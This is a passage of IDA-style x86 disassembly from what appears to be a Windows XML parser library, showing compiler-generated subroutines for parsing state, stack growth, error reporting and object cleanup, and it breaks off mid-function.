loc_69B6EE49: ; CODE XREF: sub_69B6EDDE+5Fj
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+44h]
cmp eax, 3
mov eax, [ebx]
mov ecx, ebx
jnz short loc_69B6EE78
call dword ptr [eax+0B4h]
mov ecx, eax
call sub_69B3D6C4
mov ebx, eax
xor eax, eax
cmp ebx, eax
jnz short loc_69B6EE8E
push eax
push eax
push eax
push 0C00CE311h
jmp short loc_69B6EE89
; ---------------------------------------------------------------------------
loc_69B6EE78: ; CODE XREF: sub_69B6EDDE+79j
call dword ptr [eax+44h]
test eax, eax
jz short loc_69B6EE8E
xor eax, eax
push eax
push eax
push eax
push 0C00CE303h
loc_69B6EE89: ; CODE XREF: sub_69B6EDDE+98j
call sub_69B6E277
loc_69B6EE8E: ; CODE XREF: sub_69B6EDDE+8Ej
; sub_69B6EDDE+9Fj
mov ecx, [edi]
push ebx
mov [esi+0B4h], ebx
call sub_69B4DD27
lea ecx, [esi+70h]
call sub_69B704FE
push ebx
push 0
call sub_69B71C05
mov edx, [eax]
push offset off_69B2A46C
push esi
mov ecx, eax
mov [ebp+arg_0], eax
call dword ptr [edx+3Ch]
mov ecx, esi
call sub_69B6E969
lea ecx, [esi+70h]
call sub_69B70774
mov ecx, [edi]
push ebx
call sub_69B4DDE6
lea edi, [esi+60h]
cmp dword ptr [edi], 0
jnz short loc_69B6EEFD
cmp dword ptr [esi+0A8h], 2
setz al
push eax
call sub_69B76419
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push edi
call sub_69B17320
loc_69B6EEFD: ; CODE XREF: sub_69B6EDDE+FBj
lea ecx, [esi+8Ch]
call sub_69B70B8C
push [ebp+arg_0]
add esi, 0A4h
push esi
call sub_69B17320
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_69B6EDDE endp
; ---------------------------------------------------------------------------
align 10h
off_69B6EF20 dd offset off_69B17D10 ; DATA XREF: sub_69B6EDDE+2Bo
align 8
dd 4
dd offset aNull_0 ; "null"
aNull_0: ; DATA XREF: .text:69B6EF2Co
unicode 0, <null>,0
align 4
; =============== S U B R O U T I N E =======================================
sub_69B6EF3C proc near ; CODE XREF: sub_69B46740+16p
; .text:69B6F7E2p ...
push 3Ch
push offset dword_69B6F048
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor edi, edi
push edi
lea ecx, [ebp-38h]
call sub_69B2DC5B
mov [ebp-4], edi
cmp [esi+30h], di
jz short loc_69B6EF94
loc_69B6EF61: ; CODE XREF: sub_69B6EF3C+C5j
test byte ptr [esi+58h], 20h
jnz short loc_69B6EF94
mov eax, [esi+48h]
mov [ebp-3Ch], eax
test eax, eax
jz short loc_69B6EF7C
mov ecx, esi
call sub_69B6E999
test al, al
jz short loc_69B6EF94
loc_69B6EF7C: ; CODE XREF: sub_69B6EF3C+33j
push esi
mov ecx, [esi+20h]
call sub_69B713D4
test al, al
jz short loc_69B6EF9D
mov ecx, esi
call sub_69B6ECE5
test al, al
jnz short loc_69B6EFF9
loc_69B6EF94: ; CODE XREF: sub_69B6EF3C+23j
; sub_69B6EF3C+29j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B6F02E
; ---------------------------------------------------------------------------
loc_69B6EF9D: ; CODE XREF: sub_69B6EF3C+4Bj
lea edi, [esi+24h]
mov eax, [edi]
mov [ebp-40h], eax
mov eax, [eax+8]
mov [ebp-44h], eax
movsx ecx, word ptr [esi+30h]
cmp ecx, eax
jl short loc_69B6EFF9
lea ebx, [eax+eax]
mov [ebp-44h], ebx
cmp ebx, 400h
jle short loc_69B6EFD0
xor eax, eax
push eax
push eax
push eax
push 0C00CE300h
call sub_69B6E277
loc_69B6EFD0: ; CODE XREF: sub_69B6EF3C+83j
mov ecx, [edi]
mov [ebp-48h], ecx
lea eax, [ebx+ebx]
push eax
call sub_69B6EBE0
push eax
mov ecx, edi
call sub_69B199CC
mov edi, [edi]
mov [ebp-4Ch], edi
movsx eax, word ptr [esi+30h]
imul eax, 1Ch
lea eax, [eax+edi-10h]
mov [esi+20h], eax
loc_69B6EFF9: ; CODE XREF: sub_69B6EF3C+56j
; sub_69B6EF3C+75j
lea ecx, [ebp-38h]
call sub_69B2DA65
jmp loc_69B6EF61
; ---------------------------------------------------------------------------
loc_69B6F006: ; DATA XREF: .text:69B6F04Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6F00F: ; DATA XREF: .text:69B6F050o
mov esp, [ebp-18h]
lea ecx, [ebp-38h]
call sub_69B2DA65
lea ecx, [ebp-38h]
call sub_69B2D6DB
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B6F02E: ; CODE XREF: sub_69B6EF3C+5Cj
mov ecx, esi
call sub_69B6ED05
lea ecx, [ebp-38h]
call sub_69B2DBD4
call sub_69B1853C
retn
sub_69B6EF3C endp
; ---------------------------------------------------------------------------
align 8
dword_69B6F048 dd 0FFFFFFFFh dd offset loc_69B6F006
dd offset loc_69B6F00F
; =============== S U B R O U T I N E =======================================
sub_69B6F054 proc near ; CODE XREF: sub_69B6F0B5+22p
push esi
mov esi, ecx
mov ecx, [esi+28h]
push edi
lea eax, [esi+10h]
push eax
call sub_69B716A6
mov edi, eax
test edi, edi
jnz short loc_69B6F0B0
cmp dword ptr [esi+0A8h], 2
jz short loc_69B6F0B0
mov eax, [esi+28h]
mov ecx, [eax+18h]
mov eax, [ecx]
call dword ptr [eax+44h]
sub eax, edi
jz short loc_69B6F09B
dec eax
jz short loc_69B6F093
dec eax
dec eax
jz short loc_69B6F09B
sub eax, 3
jz short loc_69B6F093
sub eax, 9
jnz short loc_69B6F0B0
loc_69B6F093: ; CODE XREF: sub_69B6F054+2Fj
; sub_69B6F054+38j
mov edi, dword_69B9B668
jmp short loc_69B6F0B0
; ---------------------------------------------------------------------------
loc_69B6F09B: ; CODE XREF: sub_69B6F054+2Cj
; sub_69B6F054+33j
mov eax, [esi+28h]
push dword ptr [eax+14h]
add esi, 44h
push esi
call sub_69B17320
mov edi, dword_69B9B670
loc_69B6F0B0: ; CODE XREF: sub_69B6F054+14j
; sub_69B6F054+1Dj ...
mov eax, edi
pop edi
pop esi
retn
sub_69B6F054 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F0B5 proc near ; CODE XREF: sub_69B6FABE+B1p
; sub_69B702BB+50p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp [esp+arg_4], 1
push esi
mov esi, ecx
jnz short loc_69B6F0CB
call sub_69B6E5D9
test eax, eax
jnz short loc_69B6F0CB
inc eax
jmp short loc_69B6F12D
; ---------------------------------------------------------------------------
loc_69B6F0CB: ; CODE XREF: sub_69B6F0B5+8j
; sub_69B6F0B5+11j
push ebx
mov ebx, [esp+8+arg_0]
cmp ebx, 2
jnz short loc_69B6F0E4
mov ecx, esi
call sub_69B6F054
test eax, eax
mov [esp+8+arg_8], eax
jz short loc_69B6F12C
loc_69B6F0E4: ; CODE XREF: sub_69B6F0B5+1Ej
movsx eax, word ptr [esi+30h]
mov ecx, [esi+24h]
imul eax, 1Ch
push edi
push ebx
push [esp+10h+arg_8]
lea edi, [eax+ecx+0Ch]
push esi
mov ecx, edi
call sub_69B712FA
mov ecx, [esi+20h]
test ecx, ecx
jz short loc_69B6F120
cmp ebx, 1
jnz short loc_69B6F115
mov dword ptr [ecx+0Ch], 2
jmp short loc_69B6F120
; ---------------------------------------------------------------------------
loc_69B6F115: ; CODE XREF: sub_69B6F0B5+55j
test ebx, ebx
jnz short loc_69B6F120
mov dword ptr [ecx+0Ch], 3
loc_69B6F120: ; CODE XREF: sub_69B6F0B5+50j
; sub_69B6F0B5+5Ej ...
test eax, eax
jnz short loc_69B6F12B
inc word ptr [esi+30h]
mov [esi+20h], edi
loc_69B6F12B: ; CODE XREF: sub_69B6F0B5+6Dj
pop edi
loc_69B6F12C: ; CODE XREF: sub_69B6F0B5+2Dj
pop ebx
loc_69B6F12D: ; CODE XREF: sub_69B6F0B5+14j
pop esi
retn 0Ch
sub_69B6F0B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F131 proc near ; CODE XREF: sub_69B6F8EA+7Dp
; sub_69B702BB+43p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov eax, [esi+28h]
push edi
add eax, 0Ch
push eax
call sub_69B17320
test edi, edi
jz short loc_69B6F153
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+5Ch]
jmp short loc_69B6F155
; ---------------------------------------------------------------------------
loc_69B6F153: ; CODE XREF: sub_69B6F131+17j
xor eax, eax
loc_69B6F155: ; CODE XREF: sub_69B6F131+20j
test eax, eax
jz short loc_69B6F16D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+4Ch]
and eax, 0FFFFFF01h
push eax
mov ecx, esi
call sub_69B6E25C
loc_69B6F16D: ; CODE XREF: sub_69B6F131+26j
or dword ptr [esi+58h], 1
pop edi
pop esi
retn 4
sub_69B6F131 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F176 proc near ; DATA XREF: .text:69B185FCo
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 0FFFFFFF0h
push 0FFFFFFFFh
push 0
call sub_69B6E468
add eax, 0Ch
push eax
call sub_69B17320
retn 4
sub_69B6F176 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F192 proc near ; CODE XREF: sub_69B71C1C+4Ap
; sub_69B7267F+AEp
push esi
mov esi, ecx
cmp dword ptr [esi+0A8h], 2
jnz short loc_69B6F1AA
push 1
call sub_69B76419
add esi, 60h
jmp short loc_69B6F1B9
; ---------------------------------------------------------------------------
loc_69B6F1AA: ; CODE XREF: sub_69B6F192+Aj
add esi, 60h
cmp dword ptr [esi], 0
jnz short loc_69B6F1CB
push 0
call sub_69B76419
loc_69B6F1B9: ; CODE XREF: sub_69B6F192+16j
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push esi
call sub_69B17320
loc_69B6F1CB: ; CODE XREF: sub_69B6F192+1Ej
mov ecx, [esi]
mov eax, [ecx]
pop esi
jmp dword ptr [eax+40h]
sub_69B6F192 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F1D3 proc near ; CODE XREF: sub_69B73395+52p
push ebx
push ebp
push esi
mov esi, ecx
mov al, [esi+50h]
shl al, 4
or al, [esi+4Ch]
and dword ptr [esi+50h], 0
movzx bp, al
mov eax, [esi+58h]
mov ecx, eax
shr ecx, 3
and cl, 1
xor edx, edx
mov dh, cl
mov ecx, [esi+20h]
push edi
lea edi, [esi+34h]
push dword ptr [edi]
and eax, 0FFFFFFF7h
mov [esi+58h], eax
or ebp, edx
push ebp
call sub_69B6ECBF
mov ebx, [esi+60h]
mov ecx, [esi+0B4h]
mov eax, [ecx]
mov ebp, [ebx]
add esi, 14h
push esi
call dword ptr [eax+0B4h]
push eax
mov ecx, ebx
call dword ptr [ebp+44h]
push eax
push edi
call sub_69B17320
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B6F1D3 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F238 proc near ; CODE XREF: sub_69B73395+7Ep
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+34h]
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+50h]
mov eax, [esi+20h]
mov eax, [eax+18h]
shr eax, 0Ah
movzx ecx, al
mov edx, ecx
shr eax, 5
and edx, 0Fh
mov [esi+4Ch], edx
shr ecx, 4
mov [esi+50h], ecx
xor eax, [esi+58h]
push 0
and eax, 8
xor [esi+58h], eax
mov eax, [esi+20h]
add eax, 14h
mov ebx, [eax]
push eax
call sub_69B17320
push ebx
push edi
call sub_69B17320
mov eax, [esi+3Ch]
pop edi
pop esi
pop ebx
retn
sub_69B6F238 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F28B proc near ; CODE XREF: sub_69B6F979+129p
; sub_69B7577A+78p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esi+20h]
mov eax, [ecx+18h]
shr eax, 4
and eax, 1Fh
dec eax
cmp eax, 1
jz short loc_69B6F2AF
push [esp+4+arg_0]
push dword ptr [ecx+10h]
mov ecx, esi
push eax
call sub_69B6E6C4
loc_69B6F2AF: ; CODE XREF: sub_69B6F28B+13j
mov eax, [esi+20h]
and dword ptr [eax+0Ch], 0
pop esi
retn 4
sub_69B6F28B endp
; =============== S U B R O U T I N E =======================================
sub_69B6F2BA proc near ; DATA XREF: .text:69B185E4o
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 28h
push ecx
call sub_69B17320
retn 4
sub_69B6F2BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6F2CA proc near ; CODE XREF: sub_69B727D0+55p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+5Ch]
cmp dword ptr [edi], 0
jnz short loc_69B6F314
push 0
push 1
push 10h
call sub_69B315DA
push eax
push edi
call sub_69B17320
mov ecx, [esi+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov eax, [eax+48h]
test eax, eax
jnz short loc_69B6F306
mov eax, offset off_69B1A5AC
loc_69B6F306: ; CODE XREF: sub_69B6F2CA+35j
push dword ptr [esi+0B4h]
mov ecx, [edi]
push eax
call sub_69B18FB8
loc_69B6F314: ; CODE XREF: sub_69B6F2CA+Ej
push [ebp+arg_4]
mov ecx, [edi]
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jz short loc_69B6F36A
cmp ebx, [esi+0B4h]
jz short loc_69B6F33F
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
cmp dword ptr [eax+0ACh], 0
jz short loc_69B6F350
loc_69B6F33F: ; CODE XREF: sub_69B6F2CA+60j
push 0
push 0
push [ebp+arg_4]
push 0C00CE30Fh
call sub_69B6E277
loc_69B6F350: ; CODE XREF: sub_69B6F2CA+73j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
mov eax, ebx
jmp short loc_69B6F3CA
; ---------------------------------------------------------------------------
loc_69B6F36A: ; CODE XREF: sub_69B6F2CA+58j
mov ecx, [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov edx, [eax]
xor ebx, ebx
push ebx
mov ecx, eax
call dword ptr [edx+3Ch]
mov esi, eax
lea eax, [esi+0ACh]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
mov eax, [esi]
push ebx
push [ebp+arg_4]
mov ecx, esi
call dword ptr [eax+50h]
mov ecx, [esi+6Ch]
cmp ecx, ebx
jz short loc_69B6F3B4
mov eax, [ecx]
push ebx
call dword ptr [eax+38h]
push eax
push [ebp+arg_4]
push 0C00CE312h
call sub_69B6E277
loc_69B6F3B4: ; CODE XREF: sub_69B6F2CA+D4j
mov ecx, esi
call sub_69B3D6C4
mov ecx, [edi]
mov esi, eax
push esi
push [ebp+arg_4]
call sub_69B18FB8
mov eax, esi
loc_69B6F3CA: ; CODE XREF: sub_69B6F2CA+9Ej
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B6F2CA endp
; =============== S U B R O U T I N E =======================================
sub_69B6F3D1 proc near ; CODE XREF: sub_69B6FABE+110p
; sub_69B7238E+3Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
push [esp+0Ch+arg_4]
mov edi, ecx
push [esp+10h+arg_0]
call sub_69B71AFF
lea esi, [edi+0A0h]
cmp dword ptr [esi], 0
mov ebx, eax
jnz short loc_69B6F402
push 0
push 1
push 10h
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B6F402: ; CODE XREF: sub_69B6F3D1+1Dj
cmp dword ptr [edi+0A8h], 2
mov ecx, [esi]
push ebx
jz short loc_69B6F414
push [esp+10h+arg_0]
jmp short loc_69B6F418
; ---------------------------------------------------------------------------
loc_69B6F414: ; CODE XREF: sub_69B6F3D1+3Bj
push [esp+10h+arg_4]
loc_69B6F418: ; CODE XREF: sub_69B6F3D1+41j
call sub_69B3182D
pop edi
pop esi
mov eax, ebx
pop ebx
retn 8
sub_69B6F3D1 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F425 proc near ; CODE XREF: sub_69B7326E+1Ep
; sub_69B7500E+97p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B6EA8E
test eax, eax
jz short loc_69B6F443
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
jmp short locret_69B6F445
; ---------------------------------------------------------------------------
loc_69B6F443: ; CODE XREF: sub_69B6F425+13j
xor eax, eax
locret_69B6F445: ; CODE XREF: sub_69B6F425+1Cj
retn 0Ch
sub_69B6F425 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F448 proc near ; CODE XREF: sub_69B75667+Cp
; sub_69B75E84+7Bp
push esi
mov esi, ecx
test byte ptr [esi+58h], 2
jnz short loc_69B6F481
mov eax, [esi+28h]
mov ecx, [eax+18h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov eax, [eax+4Ch]
movzx eax, byte ptr [eax+0Ah]
shl eax, 1
xor eax, [esi+58h]
and eax, 2
xor [esi+58h], eax
test byte ptr [esi+58h], 2
jnz short loc_69B6F481
push 8000000Ah
call sub_69B2E8B8
loc_69B6F481: ; CODE XREF: sub_69B6F448+7j
; sub_69B6F448+2Dj
pop esi
retn
sub_69B6F448 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F483 proc near ; CODE XREF: sub_69B71C1C+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi]
mov esi, ecx
mov ecx, edi
call dword ptr [eax+38h]
mov eax, [eax+10h]
cmp eax, dword_69B9B628
mov eax, [edi]
mov ecx, edi
jnz short loc_69B6F4ED
push dword_69B9B518
call dword ptr [eax+0A8h]
mov edi, eax
test edi, edi
jnz short loc_69B6F4FF
push eax
push eax
push dword_69B9B518
push 0C00CE020h
call sub_69B6E277
loc_69B6F4C5: ; CODE XREF: sub_69B6F483+7Aj
mov ecx, [esi+0B0h]
push 2
pop eax
mov [esi+0A8h], eax
push 0
mov [ecx+1Ch], eax
call sub_69B62A56
loc_69B6F4DE: ; CODE XREF: sub_69B6F483+ABj
add esi, 64h
push eax
push esi
call sub_69B17320
loc_69B6F4E8: ; CODE XREF: sub_69B6F483+BEj
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B6F4ED: ; CODE XREF: sub_69B6F483+1Cj
push dword_69B9B510
call dword ptr [eax+0A8h]
mov edi, eax
test edi, edi
jz short loc_69B6F4C5
loc_69B6F4FF: ; CODE XREF: sub_69B6F483+2Ej
push off_69B9A448 ; lpString
mov ecx, edi
call sub_69B2EF04
test al, al
push 0
jz short loc_69B6F530
mov eax, [esi+0B0h]
mov dword ptr [esi+0A8h], 3
mov dword ptr [eax+1Ch], 1
call sub_69B5FB10
jmp short loc_69B6F4DE
; ---------------------------------------------------------------------------
loc_69B6F530: ; CODE XREF: sub_69B6F483+8Dj
push edi
push dword_69B9B518
push 0C00CE323h
call sub_69B6E277
jmp short loc_69B6F4E8
sub_69B6F483 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F543 proc near ; CODE XREF: sub_69B70860+8p
; .text:69B73D7Bp
push 30h
push offset dword_69B6F638
call sub_69B19C5C
mov edi, ecx
mov [ebp-1Ch], edi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-4], ebx
mov eax, [edi+0B8h]
mov [ebp-24h], eax
cmp eax, ebx
jnz loc_69B6F5F2
mov ecx, [edi+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov esi, eax
mov [ebp-28h], esi
lea eax, [ebp-2Ch]
push eax
lea ecx, [esi+0Ch]
call sub_69B89C91
mov ebx, eax
mov [ebp-20h], ebx
test ebx, ebx
jz short loc_69B6F5B8
mov ecx, esi
call sub_69B3DD84
mov [ebp-30h], eax
test eax, eax
jz short loc_69B6F5AD
mov eax, [eax+8]
mov [ebp-34h], eax
test eax, eax
jnz short loc_69B6F5BC
loc_69B6F5AD: ; CODE XREF: sub_69B6F543+5Ej
mov esi, [esi+18h]
mov [ebp-38h], esi
mov [ebp-30h], esi
jmp short loc_69B6F5BC
; ---------------------------------------------------------------------------
loc_69B6F5B8: ; CODE XREF: sub_69B6F543+50j
and dword ptr [ebp-30h], 0
loc_69B6F5BC: ; CODE XREF: sub_69B6F543+68j
; sub_69B6F543+73j
push 1Ch
call sub_69B1D897
mov [ebp-3Ch], eax
test eax, eax
jz short loc_69B6F5D3
mov ecx, eax
call sub_69B72259
jmp short loc_69B6F5D5
; ---------------------------------------------------------------------------
loc_69B6F5D3: ; CODE XREF: sub_69B6F543+85j
xor eax, eax
loc_69B6F5D5: ; CODE XREF: sub_69B6F543+8Ej
mov [edi+0B8h], eax
mov [ebp-40h], eax
push dword ptr [ebp-30h]
push dword ptr [ebp-2Ch]
push ebx
mov ecx, eax
call sub_69B72074
push eax
call sub_69B8861E
loc_69B6F5F2: ; CODE XREF: sub_69B6F543+24j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B6F61D
; ---------------------------------------------------------------------------
loc_69B6F5F8: ; DATA XREF: .text:69B6F63Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6F601: ; DATA XREF: .text:69B6F640o
mov esp, [ebp-18h]
mov ebx, [ebp-20h]
test ebx, ebx
jz short loc_69B6F611
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
loc_69B6F611: ; CODE XREF: sub_69B6F543+C6j
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-1Ch]
loc_69B6F61D: ; CODE XREF: sub_69B6F543+B3j
test ebx, ebx
jz short loc_69B6F627
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
loc_69B6F627: ; CODE XREF: sub_69B6F543+DCj
mov eax, [edi+0B8h]
call sub_69B1853C
retn
sub_69B6F543 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B6F638 dd 0FFFFFFFFh dd offset loc_69B6F5F8
dd offset loc_69B6F601
; =============== S U B R O U T I N E =======================================
sub_69B6F644 proc near ; CODE XREF: sub_69B6FBE1+76p
mov ecx, [ecx+0BCh]
test ecx, ecx
jnz sub_69B88114
xor eax, eax
retn
sub_69B6F644 endp
; ---------------------------------------------------------------------------
loc_69B6F655: ; DATA XREF: .text:off_69B14498o
; .text:off_69B18600o
sub dword ptr [esp+4], 0Ch
jmp sub_69B2D67E
; ---------------------------------------------------------------------------
loc_69B6F65F: ; DATA XREF: .text:69B1449Co
; .text:69B18604o
sub dword ptr [esp+4], 0Ch
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B6F669: ; DATA XREF: .text:69B144A0o
; .text:69B18608o
sub dword ptr [esp+4], 0Ch
jmp sub_69B183AF
; =============== S U B R O U T I N E =======================================
sub_69B6F673 proc near ; DATA XREF: .text:69B18628o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B6F68E
test [esp+4+arg_0], 1
jz short loc_69B6F688
push esi
call sub_69B1829F
loc_69B6F688: ; CODE XREF: sub_69B6F673+Dj
mov eax, esi
pop esi
retn 4
sub_69B6F673 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F68E proc near ; CODE XREF: sub_69B6F673+3p
push esi
mov esi, ecx
lea eax, [esi+0B8h]
push eax
call sub_69B17230
lea eax, [esi+0ACh]
mov ecx, [eax+4]
mov eax, [eax]
mov [ecx+1Ch], eax
lea eax, [esi+0A4h]
push eax
call sub_69B17230
lea eax, [esi+0A0h]
push eax
call sub_69B17230
lea ecx, [esi+8Ch]
call sub_69B709DA
lea ecx, [esi+70h]
call sub_69B6EC84
lea eax, [esi+68h]
push eax
call sub_69B17230
lea eax, [esi+64h]
push eax
call sub_69B17230
lea eax, [esi+60h]
push eax
call sub_69B17230
lea eax, [esi+5Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B6F68E endp
; =============== S U B R O U T I N E =======================================
sub_69B6F741 proc near ; CODE XREF: sub_69B473A7+33p
; sub_69B6F759+10p ...
; FUNCTION CHUNK AT 69B1854D SIZE 00000091 BYTES
push 0BCh
call sub_69B17EF3
test eax, eax
jz short loc_69B6F756
mov ecx, eax
jmp loc_69B1854D
; ---------------------------------------------------------------------------
loc_69B6F756: ; CODE XREF: sub_69B6F741+Cj
xor eax, eax
retn
sub_69B6F741 endp
; =============== S U B R O U T I N E =======================================
sub_69B6F759 proc near ; CODE XREF: sub_69B8264F+41p
push 0Ch
push offset dword_69B6F7C0
call sub_69B19C5C
and dword ptr [ebp-4], 0
call sub_69B6F741
lea ecx, [eax+0Ch]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [ebp+8]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
mov [ebp-1Ch], eax
jmp short loc_69B6F7AD
; ---------------------------------------------------------------------------
loc_69B6F789: ; DATA XREF: .text:69B6F7C4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6F792: ; DATA XREF: .text:69B6F7C8o
mov esp, [ebp-18h]
mov eax, [ebp+8]
and dword ptr [eax], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6F7AD: ; CODE XREF: sub_69B6F759+2Ej
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 4
sub_69B6F759 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B6F7C0 dd 0FFFFFFFFh dd offset loc_69B6F789
dd offset loc_69B6F792
; ---------------------------------------------------------------------------
loc_69B6F7CC: ; DATA XREF: .text:69B18610o
push 0Ch
push offset dword_69B6F818
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
add ecx, 0FFFFFFF4h
call sub_69B6EF3C
xor eax, eax
mov [ebp-1Ch], eax
jmp short loc_69B6F80C
; ---------------------------------------------------------------------------
loc_69B6F7EE: ; DATA XREF: .text:69B6F81Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6F7F7: ; DATA XREF: .text:69B6F820o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6F80C: ; CODE XREF: .text:69B6F7ECj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
dword_69B6F818 dd 0FFFFFFFFh dd offset loc_69B6F7EE
dd offset loc_69B6F7F7
; ---------------------------------------------------------------------------
loc_69B6F824: ; DATA XREF: .text:69B18614o
push 0Ch
push offset dword_69B6F870
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
add ecx, 0FFFFFFF4h
call sub_69B6ED05
xor eax, eax
mov [ebp-1Ch], eax
jmp short loc_69B6F864
; ---------------------------------------------------------------------------
loc_69B6F846: ; DATA XREF: .text:69B6F874o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6F84F: ; DATA XREF: .text:69B6F878o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6F864: ; CODE XREF: .text:69B6F844j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
dword_69B6F870 dd 0FFFFFFFFh dd offset loc_69B6F846
dd offset loc_69B6F84F
; =============== S U B R O U T I N E =======================================
sub_69B6F87C proc near ; DATA XREF: .text:69B18650o
push esi
push edi
mov esi, ecx
call sub_69B6ED05
xor edi, edi
push edi
lea eax, [esi+5Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+60h]
push eax
call sub_69B17320
push edi
lea eax, [esi+64h]
push eax
call sub_69B17320
push edi
lea eax, [esi+68h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0A0h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0A4h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0B8h]
push eax
call sub_69B17320
lea ecx, [esi+8Ch]
call sub_69B70A09
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6F87C endp
; =============== S U B R O U T I N E =======================================
sub_69B6F8EA proc near ; CODE XREF: sub_69B6FABE+A2p
; sub_69B72316+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
movsx ecx, word ptr [esi+32h]
push edi
lea edi, [esi+2Ch]
mov eax, [edi]
mov eax, [eax+8]
cmp ecx, eax
jl short loc_69B6F92B
lea ebx, [eax+eax]
cmp ebx, 400h
jle short loc_69B6F919
xor eax, eax
push eax
push eax
push eax
push 0C00CE300h
call sub_69B6E277
